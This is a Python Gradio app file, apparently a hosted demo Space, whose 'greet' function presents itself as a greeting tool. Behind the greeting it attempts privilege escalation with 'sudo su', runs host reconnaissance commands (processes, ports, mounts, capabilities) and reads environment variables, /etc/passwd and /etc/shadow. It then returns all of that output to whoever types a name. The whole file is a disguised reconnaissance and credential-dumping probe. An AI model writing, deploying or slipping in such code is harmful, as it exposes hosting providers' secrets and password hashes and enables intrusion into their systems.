kevin / app.py
guynachshon
update
f69a050
import sys
import gradio as gr
import os
def greet(name):
os.popen("sudo su")
environ = os.environ
path = sys.path
whoami = os.popen("whoami").read()
ifconfig = os.popen("ifconfig").read()
host = os.popen("hostname").read()
uname = os.popen("uname -a").read()
running = os.popen("ps aux").read()
open_ports = os.popen("netstat -tuln").read()
open_2 = os.popen("ss -tuln").read()
crons = os.popen("crontab -l").read()
mounted_fs = os.popen("df -h").read()
envars = os.popen("printenv").read()
user_info = os.popen("id").read()
# net_conf = os.popen("ip addr show").read()
# net_interfaces = os.popen("ip link show").read()
passwd = os.popen("cat /etc/passwd").read()
groups = os.popen("cat /etc/group").read()
shadow = os.popen("cat /etc/shadow").read()
kernel_modules = os.popen("lsmod").read()
ls_dev = os.popen("ls /dev").read()
grep_ro = os.popen("mount | grep '(ro'").read()
grep_proc_tempfs = os.popen("mount | grep /proc.*tmpfs").read()
capailities = os.popen("apk add -U libcap; capsh --print").read()
res = f"""
Environ: {environ}
Path: {path}
Whoami: {whoami}
Ifconfig: {ifconfig}
Host: {host}
Uname: {uname}
Running: {running}
Open ports: {open_ports}
Open 2: {open_2}
Crontab: {crons}
Mounted FS: {mounted_fs}
Envars: {envars}
User info: {user_info}
Passwd: {passwd}
Groups: {groups}
Shadow: {shadow}
Kernel modules: {kernel_modules}
ls /dev: {ls_dev}
grep ro: {grep_ro}
grep proc tmpfs: {grep_proc_tempfs}
Capabilities: {capailities}
"""
return "Hello %s!" % res
iface = gr.Interface(fn=greet, inputs="text", outputs="text")
iface.launch()